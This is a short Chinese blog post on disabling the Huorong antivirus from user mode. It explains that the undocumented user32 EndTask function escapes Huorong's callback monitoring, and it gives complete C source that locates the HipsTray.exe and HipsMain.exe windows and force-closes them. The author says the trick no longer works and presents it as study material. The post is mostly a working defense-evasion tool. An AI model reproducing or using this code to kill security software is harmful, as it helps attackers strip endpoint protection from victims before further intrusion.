0%

Ring3Kill火绒

一般杀毒软件会对关键函数挂钩,火绒虽然没有对底层 api 进行挂钩,但是火绒通过 windows 回调来监控整个系统。

在任务管理器中可以看到火绒有三个进程

HipsDEaemon. exe 后台守护进程

HipsMain. exe 主界面

HipsTray. exe 托盘程序 使用 penProcess 和 TerminateProcess 是无法将进程关闭的,火绒的系统回调会监控到 openprocess。但是可以通过一个未导出函数 EndTask 函数进行关闭,该函数并没有被其挂钩进行监控。 使用processhacker查看csrss.exe 看到HipsTray的权限为全部 如果把火绒的托盘程序杀掉后 守护程序会放行所以操作 不过该方法现在已经用不了了 只作为一种学习思路学习下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <Windows.h>
#include"tlhelp32.h"
typedef BOOL(WINAPI *pEndTask)(HWND hWnd, BOOL fShutDown, BOOL fForce);


HWND GetXHandle(LPCWSTR procName)
{
DWORD iProcID = 0;
PROCESSENTRY32 pEntry = { sizeof(PROCESSENTRY32) };

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
if (Process32First(hSnapshot, &pEntry))
{
while (Process32Next(hSnapshot, &pEntry))
{
if (lstrcmpi(procName, pEntry.szExeFile) == 0)
{
iProcID = pEntry.th32ProcessID;
CloseHandle(hSnapshot);
break;
}
}
}
}

HWND hwnd = GetTopWindow(NULL);
while (hwnd)
{
DWORD pid = 0;
DWORD dwProcessId = GetWindowThreadProcessId(hwnd, &pid);

if (dwProcessId != 0)
{
if (pid == iProcID)
{
return hwnd;
}
}

hwnd = GetNextWindow(hwnd, GW_HWNDNEXT);
}
return NULL;
}
void main() {

//HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 16336);
//TerminateProcess(hProcess, 0);

HMODULE hModule = LoadLibraryA("user32.dll");
pEndTask endTask = (pEndTask)GetProcAddress(hModule, "EndTask");
HWND hwnd = GetXHandle(L"HipsTray.exe");
endTask(hwnd, FALSE, 1);
hwnd = GetXHandle(L"HipsMain.exe");
endTask(hwnd, FALSE, 1);
}

csrss.exe

References

https://czm23333.github.io/2021/11/07/C-Windows-%E7%A6%81%E7%94%A8%E7%81%AB%E7%BB%92%E4%B8%BB%E5%8A%A8%E9%98%B2%E5%BE%A1/

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------